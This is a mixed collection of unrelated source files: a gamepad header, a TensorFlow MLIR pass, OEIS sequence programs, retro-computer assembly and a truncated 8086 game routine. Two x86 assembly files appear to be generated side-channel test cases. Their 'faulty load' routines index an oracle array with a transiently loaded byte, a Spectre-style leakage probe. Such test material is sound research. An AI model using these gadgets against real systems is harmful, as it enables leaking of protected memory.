GamePadAxis _axis, unsigned int _rawAxisNumber ); //! sets the minimal value an axis has to be pushed to trigger. //! _sensitivity has to be >= 0.0 and < 1.0. //! reported axis values will still be between -1..0..1 void setMinAxisSensitivity( float _sensitivity ); float getMinAxisSensitivity() { return mMinSensitivity; } //! set and unset the invertation of an axis (1..-1 -> -1..1) void invertAxis( int _axis, bool _invert = true ); //! print the button and axes state for debugging: void printState(); //! print the names of all mapped buttons, in all caps if pressed void printPressedButtons(); //! fetches the current device state, will do nothing if the joystick is not ok void update(); private: bool mGamePadOK; int mNumberOfButtons; int mNumberOfAxes; int mButtonMap[GAMEPAD_BUTTON_ENUM_SIZE]; int mAxisMap[GAMEPAD_AXIS_ENUM_SIZE]; unsigned char *mButtonState; // 0 = released, 1 = pressed unsigned char *mLastButtonState; float *mAxes; // -1..1 (e.g. analog sticks) or 0..1 (analog trigger) per axis - untouched should be 0 float *mAxesMultiplier; // used for scaling from the used API to -1..1 float *mAxesAdd; // also used for scaling float mMinSensitivity; // a minimal axis value that has to be exceeded before it is evaluated std::string mJoystickName; // fills mAxis and mButtonState and also stores the old state void getAxisAndButtonValues(); // // GLFW specifics: replace this to support joysticks with other APIs // #ifdef ACGL_COMPILE_WITH_GLFW const unsigned char *mGLFWButtons; // temp. used as GLFW needs a const array const float *mGLFWAxes; // temp. used as GLFW needs a const array int mGLFWGamePadNumber; #endif // // Custom Linux Joystick support: // #ifdef ACGL_OWN_LINUX_JOYSTICK Joystick mLinuxGamePad; #endif bool isMapped( GamePadButton _button ); void printPressedButtonHelper( GamePadButton _b, const char *_TRUE, const char *_false ); }; ACGL_SMARTPOINTER_TYPEDEFS(GamePad) } }
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ // This file implements logic for lowering TensorFlow dialect's collective // ops (TF/XLA) to the HLO dialect. #include <numeric> #include <string> #include <utility> #include "llvm/ADT/StringRef.h" #include "mlir/Dialect/Func/IR/FuncOps.h" // from @llvm-project #include "mlir/IR/BuiltinAttributes.h" // from @llvm-project #include "mlir/IR/BuiltinOps.h" // from @llvm-project #include "mlir/IR/Dialect.h" // from @llvm-project #include "mlir/IR/Matchers.h" // from @llvm-project #include "mlir/IR/Operation.h" // from @llvm-project #include "mlir/Pass/Pass.h" // from @llvm-project #include "mlir/Support/DebugStringHelper.h" // from @llvm-project #include "mlir/Support/LLVM.h" // from @llvm-project #include "mlir/Support/LogicalResult.h" // from @llvm-project #include "mlir/Transforms/GreedyPatternRewriteDriver.h" // from @llvm-project #include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/Dialect/mhlo/IR/chlo_ops.h" #include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/Dialect/mhlo/IR/hlo_ops.h" #include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/Dialect/mhlo/IR/hlo_ops_base_structs.h" #include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/utils/convert_op_folder.h" #include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/utils/hlo_utils.h" #include "tensorflow/compiler/mlir/tensorflow/ir/tf_ops.h" #include "tensorflow/compiler/mlir/xla/transforms/utils.h" #include "tensorflow/compiler/mlir/xla/transforms/xla_legalize_tf_passes_detail.h" #include "tensorflow/compiler/xla/xla_data.pb.h" namespace mlir { namespace mhlo { namespace { constexpr absl::string_view kGroupSizeAttrName = "tf2xla.collective_info.group_size"; constexpr absl::string_view kGroupKeyAttrName = "tf2xla.collective_info.group_key"; class LegalizeTFCollective : public LegalizeTFCollectiveBase<LegalizeTFCollective> { public: void runOnOperation() override; }; LogicalResult SetOnceModuleAttribute(StringRef attr_name, IntegerAttr attr_value, Operation* op, ModuleOp& module) { const auto ex_attr_value = module->getAttrOfType<IntegerAttr>(attr_name); if (ex_attr_value == nullptr) { module->setAttr(attr_name, attr_value); return success(); } if (ex_attr_value == attr_value) { return success(); } return op->emitOpError() << "module already contains an attribute " << attr_name << "=" << ex_attr_value.getInt() << ", overwritting to a new value " << attr_value.getInt() << " is not allowed."; } LogicalResult SetCollectiveInfo(IntegerAttr group_size, IntegerAttr group_key, Operation* op) { ModuleOp module = op->getParentOfType<ModuleOp>(); // The StringRef cast is necessary before cxx14. if (failed(SetOnceModuleAttribute( StringRef(kGroupSizeAttrName.data(), kGroupSizeAttrName.size()), group_size, op, module))) { return failure(); } if (failed(SetOnceModuleAttribute( StringRef(kGroupKeyAttrName.data(), kGroupKeyAttrName.size()), group_key, op, module))) { return failure(); } return success(); } LogicalResult SetCollectiveInfo(OpBuilder& builder, DenseIntElementsAttr replica_groups, Operation* op) { // Use special group_key 0 to represent "all available devices". This // shall resolve to a DeviceAssignment that includes all devices intended for // replica_groups. IntegerAttr group_size = builder.getI32IntegerAttr(replica_groups.size()); IntegerAttr group_key = builder.getI32IntegerAttr(0); return SetCollectiveInfo(group_size, group_key, op); } LogicalResult ConvertReplicaGroups(OpBuilder& builder, Value group_assignment_value, DenseIntElementsAttr& replica_groups, Operation* op) { DenseIntElementsAttr group_assignment; if (!matchPattern(group_assignment_value, m_Constant(&group_assignment))) { return op->emitOpError() << "expects constant group_assignment"; } replica_groups = hlo::ConvertElementsAttr(group_assignment, builder.getIntegerType(64)) .cast<DenseIntElementsAttr>(); if (replica_groups.getType().getRank() != 2) { return op->emitOpError() << "group_assignment should have rank 2, got " << replica_groups.getType().getRank(); } return success(); } ChannelHandle ConvertChannel(OpBuilder& builder, int64_t channel_id, StringRef mode) { if (mode == "CrossReplica") { return ChannelHandle(); } return ChannelHandle::get( /*handle=*/builder.getI64IntegerAttr(channel_id), /*type=*/ builder.getI64IntegerAttr(xla::ChannelHandle::DEVICE_TO_DEVICE), builder.getContext()); } LogicalResult ConvertAllReduce(OpBuilder& builder, int64_t channel_id, TensorType result_type, DenseIntElementsAttr replica_groups, StringRef mode, Value input, StringRef merge_op, StringRef final_op, Operation* op) { builder.setInsertionPoint(op); ChannelHandle channel_handle = ConvertChannel(builder, channel_id, mode); Location loc = op->getLoc(); Type element_type = getElementTypeOrSelf(input.getType()); auto all_reduce = builder.create<AllReduceOp>(loc, result_type, input, replica_groups, channel_handle); if (merge_op == "Add") { BuildReduceBody<AddOp>(element_type, &all_reduce.computation(), &builder); } else if (merge_op == "Mul") { BuildReduceBody<MulOp>(element_type, &all_reduce.computation(), &builder); } else if (merge_op == "Min") { BuildReduceBody<MinOp>(element_type, &all_reduce.computation(), &builder); } else if (merge_op == "Max") { BuildReduceBody<MaxOp>(element_type, &all_reduce.computation(), &builder); } else { return op->emitOpError() << "invalid merge_op " << merge_op << ", want one of [Add, Mul, Min, Max]"; } Operation* result = all_reduce; // For "Div" final op, divide the merge result by group size. if (final_op == "Div") { int64_t replica_group_size = replica_groups.getType().getDimSize(1); if (replica_group_size == 0) { op->emitOpError() << "Div final_op requires a non-empty replica_groups argument."; } auto divisor = GetScalarConstOfType(element_type, loc, replica_group_size, &builder); auto broadcast_dims = GetI64ElementsAttr({}, &builder); result = builder.create<chlo::BroadcastDivOp>( loc, all_reduce.getResult(), divisor.getResult(), broadcast_dims); } else if (final_op != "Id") { return op->emitOpError() << "invalid final_op " << final_op << ", want one of [Id, Div]"; } op->replaceAllUsesWith(result); op->erase(); return success(); } template <typename T> class CollectiveRewritePattern : public OpRewritePattern<T> { public: // Does not take any ownership. Caller must ensure channel_id is valid during // life-cylce of this object. CollectiveRewritePattern(MLIRContext* context, int64_t* channel_id) : OpRewritePattern<T>(context), channel_id_(*channel_id) {} protected: int64_t& channel_id_; // A unique channel_id shared by all rewrite patterns // in this pass. Not thread-safe. }; // Converts XlaAllReduce. Not thread-safe. class ConvertXlaAllReduce : public CollectiveRewritePattern<TF::XlaAllReduceOp> { public: using CollectiveRewritePattern::CollectiveRewritePattern; LogicalResult matchAndRewrite(TF::XlaAllReduceOp all_reduce, PatternRewriter& rewriter) const override { DenseIntElementsAttr replica_groups; if (failed(ConvertReplicaGroups(rewriter, all_reduce.group_assignment(), replica_groups, all_reduce))) { return failure(); } // TODO(b/226201111): Stop emitting CollectiveInfo when it is no longer // needed. if (failed(SetCollectiveInfo(rewriter, replica_groups, all_reduce))) { return failure(); } StringRef reduce_op = all_reduce.reduce_op(); StringRef merge_op, final_op; if (reduce_op == "Add") { merge_op = "Add"; final_op = "Id"; } else if (reduce_op == "Mul") { merge_op = "Mul"; final_op = "Id"; } else if (reduce_op == "Min") { merge_op = "Min"; final_op = "Id"; } else if (reduce_op == "Max") { merge_op = "Max"; final_op = "Id"; } else if (reduce_op == "Mean") { merge_op = "Add"; final_op = "Div"; } else { return all_reduce->emitOpError() << "invalid reduce_op " << reduce_op << ", want one of [Add, Mul, Min, Max, Mean]"; } int64_t channel_id = channel_id_++; return ConvertAllReduce(rewriter, channel_id, all_reduce.getType(), replica_groups, all_reduce.mode(), all_reduce.input(), merge_op, final_op, all_reduce); } }; // Converts CollectiveReduceV2, with or without a preceding // CollectiveAssignGroupV2. Not thread-safe. class ConvertCollectiveReduceV2 : public CollectiveRewritePattern<TF::CollectiveReduceV2Op> { public: using CollectiveRewritePattern::CollectiveRewritePattern; LogicalResult matchAndRewrite(TF::CollectiveReduceV2Op all_reduce, PatternRewriter& rewriter) const override { TF::CollectiveAssignGroupV2Op assign_group = all_reduce.group_size().getDefiningOp<TF::CollectiveAssignGroupV2Op>(); if (assign_group) { // Found a group assignment. Use replica_groups to represent group // assignment. if (assign_group != all_reduce.group_key() .getDefiningOp<TF::CollectiveAssignGroupV2Op>()) { return all_reduce->emitOpError() << "group_size and group_key are not from the " "same CollectiveAssignGroupV2Op"; } DenseIntElementsAttr replica_groups; if (failed(ConvertReplicaGroups(rewriter, assign_group.group_assignment(), replica_groups, all_reduce))) { return failure(); } // TODO(b/226201111): Stop emitting CollectiveInfo when it is no longer // needed. if (failed(SetCollectiveInfo(rewriter, replica_groups, all_reduce))) { return failure(); } int64_t channel_id = channel_id_++; // FIXME(b/226139061): Mode should be set to CrossReplicaAndPartition // in order to use XLA:GPU for more than one workers. // The mode is set to use CrossReplica to keep the // behavior on the primary user of this optimized path, because // CrossReplicaAndPartition triggers a conflict with the channel_id // allocation in the communication lowering, and the user uses both set of // ops are used. return ConvertAllReduce(rewriter, channel_id, all_reduce.getType(), replica_groups, /* mode=*/"CrossReplica", all_reduce.input(), all_reduce.merge_op(), all_reduce.final_op(), all_reduce); } // No group assignment, use separate channels per group_key. DenseIntElementsAttr group_size_attr; if (!matchPattern(all_reduce.group_size(), m_Constant(&group_size_attr))) { return all_reduce.emitOpError() << "group_size must be a compile time constant"; } if (!group_size_attr.isSplat() || group_size_attr.size() != 1) { return all_reduce.emitOpError() << "group_size must be a scalar"; } const auto group_size = group_size_attr.getSplatValue<IntegerAttr>(); // Create a full group assignment. Empty group assignment errors when // final_op = "Div" llvm::SmallVector<int64_t> indices(group_size.getInt()); std::iota(indices.begin(), indices.end(), 0); auto replica_groups = mlir::DenseIntElementsAttr::get( mlir::RankedTensorType::get({1, group_size.getInt()}, rewriter.getI64Type()), indices); { // TODO(b/226201111): Stop emitting CollectiveInfo when it is no longer // needed. DenseIntElementsAttr group_key_attr; if (!matchPattern(all_reduce.group_key(), m_Constant(&group_key_attr))) { return all_reduce.emitOpError() << "group_key must be a compile time constant"; } if (failed(SetCollectiveInfo( /* group_size=*/group_size, /* group_key=*/group_key_attr.getSplatValue<IntegerAttr>(), all_reduce))) { return failure(); } } // CrossReplicaAndPartition: // Even though TF2XLA will setup the device assignment to include // devices in this group as replicas before launching this module, // "CrossReplica" mode (no channel) produces a deadlock when // not using XLA SPMD expansion. int64_t channel_id = channel_id_++; return ConvertAllReduce( rewriter, channel_id, all_reduce.getType(), replica_groups, /* mode= */ "CrossReplicaAndPartition", all_reduce.input(), all_reduce.merge_op(), all_reduce.final_op(), all_reduce); } }; void LegalizeTFCollective::runOnOperation() { // FIXME(b/226139061): Figure out a way to share the channel_id with // send/recv Ops. int64_t channel_id = 1; auto module = getOperation(); MLIRContext* context = module->getContext(); RewritePatternSet patterns(context); patterns.insert<ConvertCollectiveReduceV2>(context, &channel_id); patterns.insert<ConvertXlaAllReduce>(context, &channel_id); if (failed(applyPatternsAndFoldGreedily(module, std::move(patterns)))) { signalPassFailure(); } } } // namespace std::unique_ptr<OperationPass<ModuleOp>> CreateLegalizeTFCollectivePass() { return std::make_unique<LegalizeTFCollective>(); } } // namespace mhlo } // namespace mlir
; Delay until the start of the active video segment. ; Factored in: ; - 1 cycle to calculate the delay length. ; - 5 cycles of delay overhead. ; - 2 cycles to load the first byte of pixels. ; - 2 cycles to load it into the serial port. ; - 3 cycles to start the serial port. ldi r28, ACTIVE_VIDEO_START_CYCLES - 1 - 5 - 2 - 2 - 3 .ifdef NTSC .include "engine/interrupt/implementation/handler/active-video/wait-for-start/ntsc.asm" .else .include "engine/interrupt/implementation/handler/active-video/wait-for-start/pal-60.asm" .endif lds r29, TCNT1L sub r28, r29 delay r28
; A098452: One of three ordered sets of positive integers that solves the minimal magic die puzzle. ; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,19,21,22,43 mov $1,3 mov $4,$0 mov $5,4 lpb $0,1 sub $0,$5 trn $0,2 add $2,$0 trn $0,1 trn $3,1 add $5,$1 add $1,$3 sub $1,1 add $2,3 trn $1,$2 mov $2,0 mul $3,2 add $3,$0 add $5,2 lpe trn $1,4 lpb $4,1 add $1,1 sub $4,1 lpe add $1,1
; A210695: a(n) = 6*a(n-1) - a(n-2) + 6 with n>1, a(0)=0, a(1)=1. ; 0,1,12,77,456,2665,15540,90581,527952,3077137,17934876,104532125,609257880,3551015161,20696833092,120629983397,703083067296,4097868420385,23884127455020,139206896309741,811357250403432,4728936606110857,27562262386261716 mul $0,2 sub $0,1 mov $1,1 mov $3,4 mov $4,1 lpb $0,1 sub $0,1 mov $2,$4 sub $3,1 add $4,$1 mov $1,$3 sub $1,3 add $1,$2 add $1,2 add $3,$1 lpe trn $1,2
// Copyright Carl Philipp Reh 2006 - 2019. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef SGE_GUI_EXCEPTION_HPP_INCLUDED #define SGE_GUI_EXCEPTION_HPP_INCLUDED #include <sge/core/exception.hpp> #include <sge/core/detail/class_symbol.hpp> #include <sge/gui/detail/symbol.hpp> #include <fcppt/string.hpp> namespace sge::gui { /** \brief The base class for every gui exception \ingroup sge_gui */ class SGE_CORE_DETAIL_CLASS_SYMBOL exception : public sge::core::exception { public: SGE_GUI_DETAIL_SYMBOL explicit exception(fcppt::string &&); SGE_GUI_DETAIL_SYMBOL exception(exception &&) noexcept; SGE_GUI_DETAIL_SYMBOL exception(exception const &); SGE_GUI_DETAIL_SYMBOL exception &operator=(exception &&) noexcept; SGE_GUI_DETAIL_SYMBOL exception &operator=(exception const &); SGE_GUI_DETAIL_SYMBOL ~exception() noexcept override; }; } #endif
// stdafx.cpp : source file that includes just the standard includes // PSS_ClientManager.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h"
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x17dd8, %r8 nop nop nop nop nop inc %rbx mov $0x6162636465666768, %rdi movq %rdi, %xmm4 movups %xmm4, (%r8) nop nop nop nop inc %r12 lea addresses_WT_ht+0x1a1d8, %r8 nop nop nop nop xor %rbp, %rbp movb $0x61, (%r8) nop nop nop nop and $46385, %rbx lea addresses_A_ht+0xfdd8, %rsi lea addresses_WC_ht+0xa458, %rdi nop nop nop nop xor $17931, %rbp mov $37, %rcx rep movsw nop nop nop sub $53061, %rsi lea addresses_WT_ht+0x1df18, %rsi lea addresses_WT_ht+0x199d8, %rdi nop nop nop nop nop cmp %r14, %r14 mov $17, %rcx rep movsq nop nop cmp $5387, %r12 lea addresses_UC_ht+0x9ad0, %rsi lea addresses_WT_ht+0x12c68, %rdi nop nop nop nop nop add $42021, %r8 mov $98, %rcx rep movsw nop and $16537, %rcx lea addresses_normal_ht+0xf663, %rcx nop nop nop nop nop add %rdi, %rdi mov $0x6162636465666768, %r14 movq %r14, %xmm3 movups %xmm3, (%rcx) nop nop nop nop cmp %r12, %r12 lea addresses_D_ht+0x6d96, %rbp nop nop nop sub $32819, %rcx movb (%rbp), %r8b nop nop nop and %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %rax push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_US+0x10dd8, %rsi mov $0x70, %rdi clflush (%rdi) nop and %r14, %r14 mov $37, %rcx rep movsw sub $30427, %rdi // Faulty Load mov $0x2e143d0000000dd8, %rax nop nop nop nop nop xor %rsi, %rsi vmovups (%rax), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r14 lea oracles, %rbp and $0xff, %r14 shlq $12, %r14 mov (%rbp,%r14,1), %r14 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 11, 'type': 'addresses_US'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_P'}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 10, 'type': 'addresses_WT_ht'}} {'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'49': 3, '7d': 1} 49 49 7d 49 */
; A106318: Bhaskara twins: n such that 2*n^2 = X^3 and 2*n^3 = Y^2. ; 2,128,1458,8192,31250,93312,235298,524288,1062882,2000000,3543122,5971968,9653618,15059072,22781250,33554432,48275138,68024448,94091762,128000000,171532242,226759808,296071778,382205952,488281250,617831552,774840978,963780608,1189646642,1458000000,1775007362,2147483648,2582935938,3089608832,3676531250,4353564672,5131452818,6021872768,7037487522,8192000000,9500208482,10978063488,12642726098,14512627712,16607531250,18948593792,21558430658,24461180928,27682574402,31250000000,35192575602,39541219328,44328722258,49589822592,55361281250,61681958912,68592894498,76137385088,84361067282,93312000000,103040748722,113600471168,125047004418,137438953472,150837781250,165307900032,180916764338,197734965248,215836326162,235298000000,256200567842,278628139008,302668452578,328412980352,355957031250,385399857152,416844760178,450399201408,486174911042,524288000000,564859072962,608013342848,653880746738,702596063232,754299031250,809134470272,867252402018,928808173568,993962581922,1062882000000,1135738504082,1212710002688,1293980366898,1379739562112,1470183781250,1565515579392,1665944009858,1771684761728,1882960298802,2000000000000,2123040301202,2252324838528,2388104593058,2530638036992,2680191281250,2837038224512,3001460703698,3173748645888,3354200221682,3543122000000,3740829104322,3947645370368,4163903505218,4389945247872,4626121531250,4872792645632,5130328403538,5399108306048,5679521710562,5971968000000,6276856753442,6594607918208,6925651983378,7270430154752,7629394531250,8003008282752,8391745829378,8796093022208,9216547325442,9653618000000,10107826288562,10579705602048,11069801707538,11578672917632,12106890281250,12655037775872,13223712501218,13813524874368,14425098826322,15059072000000,15716095949682,16396836341888,17101973157698,17832200896512,18588228781250,19370780964992,20180596739058,21018430742528,21885053173202,22781250000000,23707823176802,24665590857728,25655387613858,26678064651392,27734490031250,28825548890112,29952143662898,31115194306688,32315638526082,33554432000000,34832548609922,36150980669568,37510739156018,38912853942272,40358374031250,41848367791232,43383923192738,44966148046848,46596170244962,48275138000000,50004220089042,51784606097408,53617506664178,55504153729152,57445800781250,59443723108352,61499218048578,63613605243008,65788226889842,68024448000000,70323656654162,72687264261248,75116705818338,77613440172032,80178950281250,82814743481472,85522351750418,88303331975168,91159266220722,94091762000000,97102452545282,100192997081088,103365081098498,106620416630912,109960742531250,113387824750592,116903456618258,120509459123328,124207681197602,128000000000000,131888321202402,135874579276928,139960737784658,144148789665792,148440757531250,152838693955712,157344681772098,161960834367488,166689295980482,171532242000000,176491879265522,181570446368768,186770213956818,192093485036672,197542595281250,203119913336832,208827841131938,214668814187648,220645301929362,226759808000000,233014870574642,239413062676608,245956992494978,252649303703552,259492675781250,266489824333952,273643501417778,280956495863808,288431633604242,296071778000000,303879830169762,311858729320448,320011453079138,328341017826432,336850479031250,345542931587072,354421510149618,363489389475968,372749784765122,382205952000000,391861188290882,401718832220288,411782264189298,422054906765312,432540225031250,443241726936192,454162963647458,465307529904128,476679064372002,488281250000000 mov $1,$0 add $1,1 pow $1,6 mul $1,2
; ; ANSI Video handling for the NASCOM1/2 ; ; BEL - chr(7) Beep it out ; ; Stefano Bodrato - Jul 2004 ; ; No sound on nascom (?). We'll look for some trick.. ; What about making buzz the tape relais ? ; ; $Id: f_ansi_bel.asm,v 1.2 2004/07/27 09:40:19 stefano Exp $ ; XLIB ansi_BEL LIB montest ; This could put a symbol somewhere on the screen, as a side effect. .ansi_BEL call montest jr nz,nassys ; T monitor ld a,7 jp c4ah .nassys ; NASSYS monitor ld a,7 defb f7h ret
#import "copper64.asm" #importonce .filenamespace c64lib .macro @c64lib_copperEntry(raster, handler, arg1, arg2) { copperEntry(raster, handler, arg1, arg2) } .macro @c64lib_copperLoop() { copperLoop() } .macro @c64lib_startCopper(listStart, listPtr, handlersList) { startCopper(listStart, listPtr, handlersList) } .macro @c64lib_stopCopper() { stopCopper() }
; A093051: Exponent of 2 in (3^n-3)*2^n. ; 0,1,4,3,7,5,8,7,12,9,12,11,15,13,16,15,21,17,20,19,23,21,24,23,28,25,28,27,31,29,32,31,38,33,36,35,39,37,40,39,44,41,44,43,47,45,48,47,53,49,52,51,55,53,56,55,60,57,60,59,63,61,64,63,71,65,68,67,71 mov $1,$0 lpb $1 mov $2,$1 dif $1,2 seq $2,236398 ; Period 4: repeat 1,1,2,1. add $0,$2 lpe
# $Id: 09_shf_1.asm,v 1.2 2001/03/22 00:39:03 ellard Exp $ # # Copyright 1999-2000 by the President and Fellows of Harvard College. # See LICENSE.txt for license information. # #@ tests bitwise SHIFT # OK lc r2, 0b00000001 lc r3, 0b11111111 lc r4, 1 lc r5, -1 shf r6, r2, r4 add r7, r1, r0 shf r8, r2, r5 add r9, r1, r0 shf r10, r3, r4 add r11, r1, r0 shf r12, r3, r5 add r13, r1, r0 hlt
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %r9 push %rbx push %rcx push %rdi // Store mov $0x645, %r8 nop nop nop sub $32304, %rbx movl $0x51525354, (%r8) nop nop nop nop dec %rcx // Store mov $0x585, %r13 nop nop nop nop dec %r11 movb $0x51, (%r13) nop nop nop nop nop xor %r13, %r13 // Load mov $0xd85, %rbx nop nop nop cmp %r8, %r8 movups (%rbx), %xmm1 vpextrq $0, %xmm1, %rcx sub %r11, %r11 // Store lea addresses_PSE+0x18985, %r8 nop nop nop nop nop xor %rcx, %rcx mov $0x5152535455565758, %r9 movq %r9, %xmm7 movups %xmm7, (%r8) nop nop nop nop inc %r8 // Load lea addresses_RW+0x601d, %r8 nop nop nop nop nop cmp $20537, %r9 vmovups (%r8), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r13 nop nop nop nop nop cmp $18499, %rdi // Store lea addresses_UC+0x8745, %rbx nop nop nop cmp $26720, %rdi movw $0x5152, (%rbx) nop nop xor $46384, %rdi // Load lea addresses_RW+0xd4a5, %r8 nop nop nop and %rdi, %rdi mov (%r8), %bx nop xor %r11, %r11 // Faulty Load lea addresses_normal+0x2585, %r9 nop nop nop nop nop xor $16764, %rbx vmovntdqa (%r9), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %rdi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'00': 54} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A251720: a(n) = (p_n)^2 * p_{n+1}, where p_n is the n-th prime, A000040(n). ; Submitted by Jamie Morken(s2) ; 12,45,175,539,1573,2873,5491,8303,15341,26071,35557,56129,72283,86903,117077,165731,212341,249307,318719,367993,420991,518003,613121,768337,950309,1050703,1135163,1247941,1342553,1621663,2112899,2351057,2608891,2878829,3352351,3579757,4017787,4437023,4824797,5357291,5799421,6257351,7040833,7338053,7722991,8355811,9928183,11288483,11800141,12218753,12975071,13766161,14578331,16191257,17370887,18606461,19609831,20343157,21560849,22345963,23466077,26355643,29311439,30273673,31056173,33261859 mov $1,$0 seq $0,40 ; The prime numbers. pow $0,2 add $1,1 seq $1,40 ; The prime numbers. mul $1,60 mul $0,$1 div $0,60
; A131993: 1 + prime(n) + prime(n)^2 + prime(n)^3 + prime(n)^4 + prime(n)^5. ; 63,364,3906,19608,177156,402234,1508598,2613660,6728904,21243690,29583456,71270178,118752606,150508644,234330768,426237714,727250580,858672906,1370581548,1830004056,2101864254,3116505840,3987077724,5647514670,8676791718,10615201506,11706395064,14157833508,15528704730,18588854934,33300578688,38876254956,48616590078,52264850820,73935990450,79026077256,96000460458,115773886284,130674467448,155864844954,184798390140,195343490706,255532769856,269179898694,298223103618,313655760600,420218760156 seq $0,40 ; The prime numbers. seq $0,152031 ; a(n) = n^5 + n^4 + n^3 + n^2 + n. add $0,1
;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' proc checkHit ;כניסה: אין ;יציאה: בודק אם הציפור פגעה במכוניתת אם כן אז bx = 1 dopush ax,dx,cx ;position of chickn mov di, [c_pos] ;pointing to extra segment (display) mov ax,0A000h mov es,ax ;moving to si the picture of chicken. mov si, offset chickenMask mov cx,15 ;height check1: push cx mov cx,11 ;width check2: lodsb ;checking if pos of picture is outside chicken (where its 0ffh). cmp al, 0ffh jne not0 mov al,[es:di] ;if color is f7h-0feh than player was hit by car. cmp al,0f7h jnae not0 cmp al, 0feh jnbe not0 pop cx jmp hit1 not0: doinc si,di loop check2 add di,320 sub di,11 ;width pop cx loop check1 jmp notHit hit1: mov bx, 1 ;boolean so main loop can identify that hit happened. notHit: dopop cx,dx,ax ret endp checkHit ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' proc takeChickenB dopush cx,dx,si ;moving the width and height to their matching variables mov cx,[c_height] ;height mov dx,[c_width] ;width call dimensionsToVars ;matching si to return/save background variable mov si, offset c_scrkeep ; <saving in this variable. ;moving variables to return background to old position mov cx, [c_oldPos] ; old position to matching pos variable. mov [Pos],cx call takeB dopop si,dx,cx ret endp takeChickenB ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' proc movChicken ;enter- 